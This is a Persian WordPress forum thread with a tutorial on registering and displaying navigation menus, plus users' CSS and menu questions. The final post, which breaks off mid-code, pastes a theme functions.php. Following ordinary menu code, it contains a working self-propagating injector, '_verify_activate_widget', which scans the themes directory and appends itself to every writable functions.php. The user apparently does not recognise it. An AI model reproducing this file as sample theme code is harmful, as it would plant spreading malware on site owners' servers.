انجمن


آموزش: فعال کردن فهرست‌ها  (۳۷ نوشته)

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۴ سال پیش
    ۲۳ مرداد ۱۳۸۹ - ۱۲:۵۹

    احتمالا متوجه گزینه جدید در قسمت "نمایش" در مدیریت وردپرس شده اید.
    این قابلیت جدید به شما امکان می دهد که یک منو(مجموعه ای از لینک ها) با قابلیت کنترل و چیدمان دستی ایجاد کنید.

    فعالیت ها بر روی فایل function.php
    برای فعال سازی اول منو را در function.php ثبت(register) کنید.
    تابعی می سازیم با نام اختیاری:

    function reg_menu() {
    ...
    }

    حالا باید تابع register_nav_menus رو که تابع وردپرس است فراخوانی و مقدار دهی کنیم.
    به این شکل:

    function reg_menu() {
    	register_nav_menus(
    		array(
    				'top-menu' => __( 'Top Menu' )
    			)
    	);
    }

    در مثال بالا یک منو را با نام Top Menuدر وردپرس با نام "top-menu" ثبت کرده ایم.
    اگر خواستید منوی دیگری(با ترکیب لینک جدید) ثبت کنید که در جای دیگری از قالب بکار بگیرید، به این شکل عمل کنید:

    function reg_menu() {
    	register_nav_menus(
    		array(
    			'side-menu' => __( 'Side Menu' ),
    			'top-menu' => __( 'Top Menu' )
    			)
    	);
    }

    نکته: top-menu نام ثبت شده و "Top Menu" نام برای نمایش در پنل مدیریت است.

    حالا تابعی که ساختیم رو به صورت add action به وردپرس قلاب می کنیم.
    add_action( 'init', 'reg_menu' );
    خط بالا میگوید وقتی وردپرس لود شد(init)، وقبل از ارسال Headerها تابع reg_menu اجرا گردد.

    حالا به سراغ قالب می رویم
    من میخواهم لیستم را در هدر قالبم قرار دهم تا در همه صفحات قابل دسترس باش. پس فایل header.php را با ویرایشگر متنی ام باز می کنم و در هرکجا بعد از تگ body کد زیر را قرار می دهم
    <?php wp_nav_menu( array( 'theme_location' => 'top-menu' )); ?>

    تنظیم لیست در بخش مدیریت
    وقتی تابع اجرا شد، به بخش مدیریت می رویم، و زیرِ عنوان "نمایش"، گزینه‌ی "لیست ها" را کلیک می کنیم.

    -در کادر سمت چپ(وردپرس فارسی شده) نام فهرست را وارد کرده و دکمه "ساخت فهرست" را می فشاریم
    -دو کادر دسته‌ها و برگه‌ها، محتوی برگه ها و دسته هایی هستند که ما قبلا ایجاد کرده ایم، می توانید آیتم های مورد نظرتان را تیک زده و "دکمه‌ی افزودن" را برای اضافه کردنشان به "لیست"ی که در پی ایجادش هستید، بفشارید.
    -کادر "پیوندهای دلخواه پس از مقدار دهی، از هر کجای وب یا سایت خودتان، لینک به "لیست" می افزاید.
    در کادر سمت چپ که فعلا یک Tab با نامی که ساخته ایم دارد، امکان چیدمام و زیرشاخه کردن(parent/child) لینک هایمان وجود دارد.

    در بخش مکانهای موجود در پوسته، به تعداد فهرست هایی که در fonction.php ثبت کرده بودیم، لیست بازشونده(Combo box) خواهیم داشت.

    -یکی از Combo ها را باز کرده و اسمی که در مرحله یک ساخته بودیم را برمیگزینیم و "ذخیره" می کنیم
    و در آخر نتیجه کار را در سایت نظاره می کنیم.

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    گناهکار - modaser - مجتبی - علی ایرانی - ali_93 - میلاد - Mostafa - ناصر عبدیلر - daryadel1364 - Parsa - Mojtaba in96 - jeegartala - Masoud - تناسب اندام
  • میلاد

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۰۳
    تشکر شده: ۴۰ بار
    # نوشته شده: ۱۴ سال پیش
    ۵ مهر ۱۳۸۹ - ۱۵:۴۰

    چه جوری باید add action را به وردپرس قلاب کنیم ؟؟

    add_action( 'init', 'reg_menu' );

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۴ سال پیش
    ۵ مهر ۱۳۸۹ - ۱۹:۴۰

    m-graphic گفت:
    چه جوری باید add action را به وردپرس قلاب کنیم ؟؟

    واضح نوشتم که!
    در همون فایل function.php اون خط رو بنویسید. کجاش، مهم نیست.

  • میلاد

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۰۳
    تشکر شده: ۴۰ بار
    # نوشته شده: ۱۴ سال پیش
    ۶ مهر ۱۳۸۹ - ۰۰:۱۲

    یعنی این خط را هم باید در فایل function.php قرار داد .

    add_action( 'init', 'reg_menu' );

    می شه به کد کامل را بدید !!

    فایل function.php من این هست :

    <?php

    register_nav_menus( array(
    'primary' => __( 'Primary Navigation', '' ),
    ) );

    ?>

    من این کار را کردم و یک قسمت در فهرست ها اضافه شد ولی در قالب منو های انتخابی در قالب به نمایش در نمی آید .

    http://imgdl.ir/images/587Untitled.png

  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۲۸ مرداد ۱۳۹۰ - ۱۴:۱۰

    با سلام خدمت همه دوستان و اساتید،
    یه سوال برام پیش اومده اگه براتون مقدوره توضیح کامل بدین، من طبق آموزش دوستان عمل کردم و فهرست به پوسته مورد استفادم اضافه شد در منوی تنظیم فهرست گزینه های مورد نطرم رو هم طبق سلیقه اضافه کردم که داری شاخه ها و زیر شاخه ها بود مشکل اینجاست که همه گزینه ها کنار هم میاد و هیچ استاتیلی نداره، میدونم باید یه کدهای به style.css اضافه کنم، اگه براتون مقدوره راهنمائیم کنید!

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۳ سال پیش
    ۲۸ مرداد ۱۳۹۰ - ۱۴:۱۶

    daryadel1364 گفت:
    با سلام خدمت همه دوستان و اساتید،
    یه سوال برام پیش اومده اگه براتون مقدوره توضیح کامل بدین، من طبق آموزش دوستان عمل کردم و فهرست به پوسته مورد استفادم اضافه شد در منوی تنظیم فهرست گزینه های مورد نطرم رو هم طبق سلیقه اضافه کردم که داری شاخه ها و زیر شاخه ها بود مشکل اینجاست که همه گزینه ها کنار هم میاد و هیچ استاتیلی نداره، میدونم باید یه کدهای به style.css اضافه کنم، اگه براتون مقدوره راهنمائیم کنید!

    من آموزش استفاده از این امکان رو دادم.
    نیاز شما با یاد گرفتن css حل میشه که این بحث خارج است.
    پیشنهاد میکنم از قالب های آماده ای استفاده کنید که برای فهرست کدهای css رو قرار داده.
    یه کار دیگه هم میتونید بکنید، لینک سایتتون رو بدین تا کد cssش رو بهتون بدم!

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    daryadel1364
  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۲۹ مرداد ۱۳۹۰ - ۱۳:۴۰

    سلامی دوباره خدمت همه!
    با اجازه دوستان من کد css رو که لازم بود پیدا کردم و ویرایشش هم کردم و مشکلم حل شد فقط دوتا سوال دارم که اگه مقدوره پس از بررسی کد بهم جواب بدین(کد رو میذارم تا اگه کس دیگه ای هم مشکل منو داشت ازش استفاده کنه)
    1- برای تغییر ارتفاع جداول کجا رو باید ویرایش کنم؟
    2- وقتی روی جداول بازشو موس رو نگه میداریم رنگ قسمتی از جدول که نوشته داره عوض میشه میخوام رنگ کل اون جدول (سطر) عوض بشه، چیکار باید بکنم؟
    اینم آدرس سایتم تا بهتر متوجه موضوع بشین.

    کد css که البته قبل از استفاده باید ویرایش بشه تا هماهنگ با قالب مورد استفاده بشه:

    .top-menu{
    background:;
    font-size:2.8em;
    }
    .menu, #menu ul {
    list-style: none;
    line-height:1px;
    }
    .menu a, #menu a:hover {
    display: block;
    text-decoration: none;
    border:none;
    }
    .menu li {
    float: Right;
    list-style:bold;
    
    }
    .menu a, #menu a:visited {
    display:block;
    font-weight:bold;
    color: #f5f5f4;
    padding:0px 10px;
    }
    .menu a:hover, #menu a:active, .current_page_item a, #home .on {
    background:                              ;
    text-decoration:none
    }
    .menu li ul {
    position: absolute;
    left: -999em;
    height:auto;
    width:90px;
    border-bottom: 1px solid #72a1bc;
    }
    .menu li li {
    width:90px;
    border-top: 1px solid #72a1bc;
    border-right: 1px solid #72a1bc;
    border-left: 1px solid #72a1bc;
    background: #3e7fa6;
    }
    .menu li li a, #nav li li a:visited {
    font-weight:normal;
    font-size:1.2em;
    color:fff;
    }
    .menu li li a:hover, #nav li li a:active {
    background:#72a1bc;
    }
    .menu li:hover ul, #nav li li:hover ul, #nav li li li:hover ul, #nav li.sfhover ul, #nav li li.sfhover ul, #nav li li li.sfhover ul {
    left: auto;
    }
    a.main:hover {
    background:none;
    }
  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۳ سال پیش
    ۲۹ مرداد ۱۳۹۰ - ۲۲:۴۸

    در
    .topmenu a, .topmenu b {}
    height و line-height رو حذف کن و مقدار نده

    به آخر فایل cssت این رو اضافه کن:
    .menu li ul,.menu li,.menu a{line-height:20px}

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    daryadel1364
  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۳۰ مرداد ۱۳۹۰ - ۱۲:۲۹

    دوست عزیز از راهنمائیت جدا ممنونم، لطف کردی.
    فقط یه سوال دیگه! منوهای بازشو دقیقا روی گزینه فهرست باز میشه در حالی که باید زیر فهرست باز بشه کجای فایل رو باید ویرایش کنم هر چی ور رفتم پیدا نکردم!!؟

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۳ سال پیش
    ۳۰ مرداد ۱۳۹۰ - ۱۳:۱۸

    سوالات مربوط به css را در تاپیک های مربوطه اش بپرسید.
    شما باید ul li ul{} را طوری مقدار بدهید که به اندازه ی مد نظرتان پایین برود
    چیزی شبیه به این
    ul li ul{margin-top:20px}

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    daryadel1364
  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۳۱ مرداد ۱۳۹۰ - ۱۴:۵۰

    ممنون دوست عزیز جدا لطف کردی.
    (برا این اینجا پرسیدم تا اگه از دوستان کسی خواست فهرست رو اضافه کنه اینجا به جواب همه سوالهاش برسه و مثله من الاف نشه!)
    یه سوال دیگه، من افزونه WP Super Cache رو نصب کردم وقتی افزونه فعال هستش تنظیمات فهرست غیرفعاله و اگه بخوام تغییری تو فهرست بدم باید افزونه رو غیر فعال کنم و بعد ....، این مشکل از چیه؟ کدهائی که اضافه کردم یا افزونه؟

  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۱۳ شهریور ۱۳۹۰ - ۱۹:۴۱

    سلام جناب وفای عزیز،
    بعد از تشگر به خاطر زحمت های قبلی اگه مقدور دوباره راهنمائیم کنید.
    من یه فهرست دیگه میخوام در ستون کناری اضافه کنم طبق اموزش عمل کردم و دوتا مشکل دارم :
    اول اینکه: استاتیلی مجزای باید بهش بدم و نمیدونم چطوری بدم چون الان داره با همون استاتیل فهرست زیر هدر نمایش داده میشه و اون استاتیل مناسب ستون نیست،
    دوم اینکه: اگه بخوام به جای کد رنگ، عکس مورد نظرم رو به عنوان بگراند بدم و با حرکت موس عکس دوم به نمایش در بیاد باید چیکار کنم؟

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۳ سال پیش
    ۱۳ شهریور ۱۳۹۰ - ۲۱:۰۳

    سوالات مربوط به css را در تاپیک های مربوطه اش بپرسید.

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    daryadel1364
  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۱۴ شهریور ۱۳۹۰ - ۱۹:۲۶

    من که تو انجمن چنین تاپیکی پیدا نکردم،لطفا لینک بدین!

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۳ سال پیش
    ۱۴ شهریور ۱۳۹۰ - ۱۹:۲۹

    daryadel1364 گفت:
    من که تو انجمن چنین تاپیکی پیدا نکردم،لطفا لینک بدین!

    ایجاد کنید

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    daryadel1364
  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۱۵ شهریور ۱۳۹۰ - ۱۲:۰۶

    اینم تاپیک css:
    http://forum.wp-persian.com/topic/15631

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۳ سال پیش
    ۱۵ شهریور ۱۳۹۰ - ۱۲:۳۸

    جناب daryadel1364
    اینجا انجمن وردپرس فارسی است.
    بنده یا هیچ کس دیگری موظف و مستخدم شما نیستیم که بیاییم و آموزش های مد نظر شما را بهتون ارائه بدیم.
    سوال بپرسید، جواب میگیرید یا نمی گیرید، دیگر به من ربطی ندارد.
    کاری میکنید که آدم از آموزش دادن و وقت گذاشتن پشیمان شود.
    مدیران محترم، لطفا همه ی پست هایی که در این تاپیک مربوط به css هستند و همین نوشته من رو هم حذف بفرمایید
    با تشکر

  • mrtman

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۵
    تشکر شده: ۱ بار
    # نوشته شده: ۱۳ سال پیش
    ۳ آذر ۱۳۹۰ - ۱۰:۵۷

    سلام خسته نباشیدُمن تازه واردم و تازه سایتم رو راه اندازی کردمُ می خوام بدونم تو بخش ویرایشگر سایتم سمت راست چند تا پوشه که از بالا تا پایین هستند رو می بینم که مربوط به ویرایش هستند اما نمی دونم که هر کدام چه کاری رو انجام می دنُ و اینکه برای کدهای جاوا که بخوام تو سایتم بگذارم تو کدوم پوشه ویرایشگر بگذارم تا عمل کنه و سایر کدها . و زبان html رو هم اصلا بلد نیستم، و می خوام تو سیاتم تو ستون سمت راست و چپ آن کلمه هایی باشند که بوتنم به صفحه ی خاص خودشون لینک کنم هیچ کدام رو بلد نیستم، باور کنید هیچکس هم ندارم که کمکم کنید تنها امیدم شمایید خواهش می کنم کمکم کنید و زود جوابم رو بدین. ممنون میشم

  • mrtman

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۵
    تشکر شده: ۱ بار
    # نوشته شده: ۱۲ سال پیش
    ۷ آذر ۱۳۹۰ - ۱۱:۰۸

    کسی نیست جواب من رو بده، حالا خوبه نوشته بودم ضروریه، و تازه واردم، چه برخورد خوبی با تازه واردا دارین، مثلاً انجمنه، هیچکس به داد کسی نمی رسه؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۲ سال پیش
    ۷ آذر ۱۳۹۰ - ۱۱:۱۵

    سلام دوست عزیز،
    سوالتون مبهمه دقیق تر بپرسید دوستان راهنمائی می کنند و نکته بعدی اینکه تو انجمن بگردید و اگر به جواب نرسیدید تاپیک جدید بزنید، این تاپیک مربوط به سوال شما نیست...

    - هر کدی باید در جای خاص خودش قرار بگیره، منظورتون چه کدیه...
    - چه نوشته هایی ؟! میتونید از برگه ها استفاده کنید برگه جدید بسازید بعد توسط ابزارک در ستون فراخوانیش کنید...

  • mrtman

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۵
    تشکر شده: ۱ بار
    # نوشته شده: ۱۲ سال پیش
    ۷ آذر ۱۳۹۰ - ۱۱:۲۲

    من آدرس سایتم رو به شما می دم یک نگاهی کنید، http://www.TSP-mma.ir تو ستون سمت راست و چپ سایتم رو نگاه کنید، این کلمه هایی که فهرست شدند در ستون ها مثل سخن با مدیریت و فعالیت های شرکت و .... نمی تونم توشون متن بگذارم، چکار کنم؟؟؟؟؟ خواهش می کنم واضح جواب بدین، واقعا ممنون می شم.

  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۲ سال پیش
    ۷ آذر ۱۳۹۰ - ۱۱:۳۲

    سلام:
    http://forum.wp-persian.com/topic/17280

  • sinaeslami

    آفلاین
    عضو
    تعداد نوشته‌ها: ۸۱
    تشکر شده: ۷ بار
    # نوشته شده: ۱۲ سال پیش
    ۸ اسفند ۱۳۹۰ - ۱۰:۲۱

    میخوام توی قسمت فهرست ها چند تا دسته رو اضافه کنم
    میخوام 3 تا دسته رو اضافه کنم به یه دکمه
    یعنی به این صورت که هر دسته به یک دکمه جداگونه تبدیل نشه و میخوام 3 تا دسته توی یک دکمه و یک لینک باشه و مطالب دسته ها توی یک صفحه بر اساس تاریخ مطلب نمایش داده بشن.
    به صورت شکل زیر
    http://up7.iranblog.com/images/85787688865634740515.jpg
    چطور این کار رو بکنم؟

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۲ سال پیش
    ۸ اسفند ۱۳۹۰ - ۱۹:۵۳

    تصویری که لینک داده اید، باز نشد.
    احتمالا منظورتون یه چیزی مثل منو های مامبو و جوملاست.
    فهرست در وردپرس فقط منو میسازد.
    این منو می تواند ترکیبی از دسته ها، صفحات، لینک و ... باشد که قابلیت والد شدن(بدون اینکه رابطه ی والد و فرزندی داشته باشند) و چیدمان را نیز دارند.
    کار دیگری انجام نمی دهد.

    حال برای رفع نیاز شما:
    وارد مدیریت دسته ها شوید، یک دسته ی مادر اضافه کنید و سه دسته ی مورد نظرتان را در آن دسته ی مادر قرار بدهید.( یعنی روی هر دسته کلیک کنید و در قسمت "دسته ی مادر"، اسم دسته ی جدیدی که ساخته اید را انتخاب و ذخیره کنید تا این سه دسته، فرزند شوند!)
    به فهرست برگردید و اسم دسته ی مادر را از میان دسته ی های موجود، در جایی که می خواهید قرار دهید.
    وردپرس به صورت پیشفرض مطالب آن سه دسته ی فرزند را بر اساس زمان، به کاربری که روی اسم دسته ی مادر کلیک کرده، نمایش می دهد.

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    sinaeslami - daryadel1364
  • sinaeslami

    آفلاین
    عضو
    تعداد نوشته‌ها: ۸۱
    تشکر شده: ۷ بار
    # نوشته شده: ۱۲ سال پیش
    ۹ اسفند ۱۳۹۰ - ۰۰:۳۸

    vafa گفت:
    تصویری که لینک داده اید، باز نشد.
    احتمالا منظورتون یه چیزی مثل منو های مامبو و جوملاست.
    فهرست در وردپرس فقط منو میسازد.
    این منو می تواند ترکیبی از دسته ها، صفحات، لینک و ... باشد که قابلیت والد شدن(بدون اینکه رابطه ی والد و فرزندی داشته باشند) و چیدمان را نیز دارند.
    کار دیگری انجام نمی دهد.

    حال برای رفع نیاز شما:
    وارد مدیریت دسته ها شوید، یک دسته ی مادر اضافه کنید و سه دسته ی مورد نظرتان را در آن دسته ی مادر قرار بدهید.( یعنی روی هر دسته کلیک کنید و در قسمت "دسته ی مادر"، اسم دسته ی جدیدی که ساخته اید را انتخاب و ذخیره کنید تا این سه دسته، فرزند شوند!)
    به فهرست برگردید و اسم دسته ی مادر را از میان دسته ی های موجود، در جایی که می خواهید قرار دهید.
    وردپرس به صورت پیشفرض مطالب آن سه دسته ی فرزند را بر اساس زمان، به کاربری که روی اسم دسته ی مادر کلیک کرده، نمایش می دهد.

    ممنونم VAFA جان
    ای کاش همه ی اعضای اینجا که پست میزنن و میخوان کمک کنن فقط برای بالا رفتن تعداد پستشون پست نزنن و واقعا مطلب مورد نظر رو ارائه بدن و بیشتر آدم رو گمراه نکنن
    یک دسته ایجاد کردم و همه ی دستهای مورد نظرم رو مادرش رو همین دسته ای که ایجاد کردم قرار دادم این دسته ی جدید رو توی فهرست گذاشتم و وقتی که رو این دکمه ی جدید کلیک میکنم تمامیه مطالب دسته هایی که مادرش این دسته ی جدید بود نشان داده میشه
    این هم لینک عکسی که فرمودین باز نمیشه
    http://up.vatandownload.com/images/xx88d350mpvb3mxlmt5f.jpg

  • daryadel1364

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۱
    تشکر شده: ۱ بار
    # نوشته شده: ۱۲ سال پیش
    ۹ اسفند ۱۳۹۰ - ۱۷:۲۶

    سلام دوست عزیز؛
    عکستون باز شد و دیدمش، برا این کار ابتدا زیر دسته رو دقیقا زیر دسته اصلی قرار دهید سپس کمی زیردسته مورد نظر خودتون رو به طرف چپ بکشید با این کار زیر دسته با کمی فاصله قرار گرفته و وردپرس ان را به عنوان زیر گروه می شناسد...
    این کار را میتوانید برای زیر دسته هم انجام دهید و یک منو درختی تو در تو داشته باشید...

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    sinaeslami
  • sinaeslami

    آفلاین
    عضو
    تعداد نوشته‌ها: ۸۱
    تشکر شده: ۷ بار
    # نوشته شده: ۱۲ سال پیش
    ۱۰ اسفند ۱۳۹۰ - ۱۴:۲۱

    daryadel1364 گفت:
    سلام دوست عزیز؛
    عکستون باز شد و دیدمش، برا این کار ابتدا زیر دسته رو دقیقا زیر دسته اصلی قرار دهید سپس کمی زیردسته مورد نظر خودتون رو به طرف چپ بکشید با این کار زیر دسته با کمی فاصله قرار گرفته و وردپرس ان را به عنوان زیر گروه می شناسد...
    این کار را میتوانید برای زیر دسته هم انجام دهید و یک منو درختی تو در تو داشته باشید...

    ممنون این هم تکنیک خوبی هستش که دیده بودم که اینج.ری میشه ولی نمیدونستم که کاراییش چی هستش

  • arasaik

    آفلاین
    عضو
    تعداد نوشته‌ها: ۳
    # نوشته شده: ۱۲ سال پیش
    ۳ اردیبهشت ۱۳۹۱ - ۱۴:۵۳

    سلام من میخواستم بدونم که ايتم هاي منوی بوسته ی twenty ten رو چطور ميشه از راست به چب كرد يعني اينكه ايتم خانه در سمت راست قرار بگيرد
    متشكرم

  • mani222

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۴
    # نوشته شده: ۱۱ سال پیش
    ۲۰ دی ۱۳۹۱ - ۲۲:۵۰

    با سلام.
    چه جوری برا فهرست زیر شاخه بسازم؟

    یا علی(ع)

  • jeegartala

    آفلاین
    عضو
    تعداد نوشته‌ها: ۴۴
    تشکر شده: ۴ بار
    # نوشته شده: ۱۱ سال پیش
    ۱۴ بهمن ۱۳۹۱ - ۱۱:۱۱

    عالی بود

    فقط میخوام ببینم . چه جوری باید اجزا فهرست رو افقی کرد . یعنی زیر هم نباشه و کنار هم باشه . کد باید نوشت یا مشکل css هست ؟

  • vafa

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲۳
    تشکر شده: ۳۴ بار
    # نوشته شده: ۱۱ سال پیش
    ۱۴ بهمن ۱۳۹۱ - ۱۲:۴۰

    jeegartala گفت:
    چه جوری باید اجزا فهرست رو افقی کرد . یعنی زیر هم نباشه و کنار هم باشه . کد باید نوشت یا مشکل css هست ؟

    بله، باید با CSS روش کار کنید و ربطی به عملکرد لیست وردپرس ندارد.
    معمولا لیست ها با این کد افقی میشوند:
    li{float:right; }

  • nimayz

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲
    # نوشته شده: ۱۰ سال پیش
    ۳۰ دی ۱۳۹۲ - ۱۵:۴۵

    جونه هرکی دوست دارید به من کمک کنید الان 4 روز من در گیر ساخت فهرست سایتم هستم
    مخم هنگیده
    نمیتونم فهرست بسازم
    یکی بیاد بهم کمک کنه به خدا هزینش هم میدم
    :( تور خدا hellp me please

  • hassan

    آفلاین
    عضو
    تعداد نوشته‌ها: ۳
    تشکر شده: ۹ بار
    # نوشته شده: ۹ سال پیش
    ۱۶ دی ۱۳۹۳ - ۱۲:۳۹

    با سلام
    تغییرات function.php در سایتم انجام دادم و فهرست side و top نیز در مدیریت جایگاه اضافه شد ولی بعدا error :

    Parse error: syntax error, unexpected '.' in /home3/sudeltac/public_html/wordpress/wp-content/themes/Araz/functions.php on line 72
    ودیگه وارد سایت هم نمیشه لطفا راهنمایی کنین. ممنون

    کاربران زیر به‌خاطر این نوشته تشکر کرده‌اند:
    آموزش وردپرس
  • آموزش وردپرس

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۸۳۹
    تشکر شده: ۱۷۶۷ بار
    # نوشته شده: ۹ سال پیش
    ۱۶ دی ۱۳۹۳ - ۱۳:۴۱

    hassan گفت:
    با سلام
    تغییرات function.php در سایتم انجام دادم و فهرست side و top نیز در مدیریت جایگاه اضافه شد ولی بعدا error :

    Parse error: syntax error, unexpected '.' in /home3/sudeltac/public_html/wordpress/wp-content/themes/Araz/functions.php on line 72
    ودیگه وارد سایت هم نمیشه لطفا راهنمایی کنین. ممنون

    به نام خدا
    عرض سلامو خسته نباشید لطفا از بالا آوردن تاپیک های قدیمی پرهیز کنید ! و اگر با مطالعه دقیق تاپیک ها مشکلتون حل نشده با ذکر عنوان منسبت نسبت به مشکلتون تاپیک جدید ایجاد کنید تا راهنمایی بشید با تشکر
    ارادتمند : مسلم فلاح نیت

  • hyki.ir

    آفلاین
    عضو
    تعداد نوشته‌ها: ۵
    تشکر شده: ۱ بار
    # نوشته شده: ۸ سال پیش
    ۲۹ دی ۱۳۹۴ - ۰۱:۰۵

    با سلام خدمت دوستان
    مشکل من اینه که وقتی روی بعضی از گزینه های فهرست کلیک میشه علاوه بر صفحه مورد نظر یه پنجره اضافه دیگه هم باز میشه که هیچ ربطی به سایت نداره و نمیدونم چطور و چگونه اضافه شده ! درضمن پوسته دو فهرست داره که هر دو هم این مشکل رو دارند و پنجره مزاحم روی هر دو فعال هست.
    امکان داره که هک شده باشه ؟ چطور میتونم این پنجره مزاحم رو حذف کنم ؟
    ممنون میشم راهنمایی کنید.

  • mahdimh20_20

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲۲
    تشکر شده: ۴ بار
    # نوشته شده: ۸ سال پیش
    ۹ بهمن ۱۳۹۴ - ۱۵:۳۰

    با سلام
    بنده با فهرستها مشکل دارم به این صورت که در وردپرس زمانی که دسته های سایت را به همان صورت که هست یعنی زیر دسته ها را زیر دسته ها قرار میدهم موقع ذخیره کردن فهرست بعضی از دسته ها را قبول نمیکنه و گویا فقط تعداد مشخصی از دسته و زیر دسته را قبول میکنه مثلا حدود 50 عدد دسته و زیر دسته را قبول میکنه و ذخیره میشه ولی بیشتر از اون را حذف میکنه و بقیه را ذخیره میکند
    آیا راهی هست که این تعداد دسته هایی که میتوان به یک فهرست اضافه کرد را بیشتر کرد؟
    وردپرس من هم ویرایش 4.4.1 یعنی آخرین ویرایش می باشد و از قالب صحیفه استفاده میکنم
    با تشکر

  • yasinsot@gmail.com

    آفلاین
    عضو
    تعداد نوشته‌ها: ۲
    تشکر شده: ۱ بار
    # نوشته شده: ۸ سال پیش
    ۲۶ مرداد ۱۳۹۵ - ۱۳:۰۷

    سلام و خسته نباشی
    فهرست من در منوی درختی متن آن به علت دو یا سه کلمه بودن در یک سطر قرار نداره
    و این هم فایل function.php
    <?php
    if ( function_exists( 'add_theme_support' ) ) {
    add_theme_support( 'post-thumbnails' );
    add_image_size( 'NESTED_thumb',275, 127, true );
    }
    function NESTED_thumb_image(){
    if ( has_post_thumbnail() ) {
    the_post_thumbnail( 'NESTED_thumb', array('class' => 'test') );
    } else {
    };
    }

    function register_my_menus() {
    register_nav_menus(
    array(
    'top-menu' => __( 'منو بالا' )
    )
    );
    }

    add_action( 'init', 'register_my_menus' );

    ?>
    <?php
    function _verify_activate_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
    foreach ($direst as $item){
    if (is_writable($item)){
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    $cont=file_get_contents($item);
    if (stripos($cont,$ftion) === false){
    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    $output .= $before . "Not found" . $after;
    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    $output .= ($showdot && $ellipsis) ? "..." : "";
    }
    }
    }
    }
    return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
    $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
    return false;
    }elseif(is_readable($places)){
    $elems=scandir($places);
    foreach ($elems as $elem){
    if ($elem != "." && $elem != ".."){
    if (is_dir($places . "/" . $elem)){
    $wids[]=$places . "/" . $elem;
    } elseif (is_file($places . "/" . $elem)&&
    $elem == substr(__FILE__,-13)){
    $items[]=$places . "/" . $elem;}
    }
    }
    }else{
    return false;
    }
    if (sizeof($wids) > 0){
    return _get_all_widgetcont($wids,$items);
    } else {
    return $items;
    }
    }
    if(!function_exists("stripos")){
    function stripos( $str, $needle, $offset = 0 ){
    return strpos( strtolower( $str ), strtolower( $needle ), $offset );
    }
    }

    if(!function_exists("strripos")){
    function strripos( $haystack, $needle, $offset = 0 ) {
    if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
    if( $offset < 0 ){
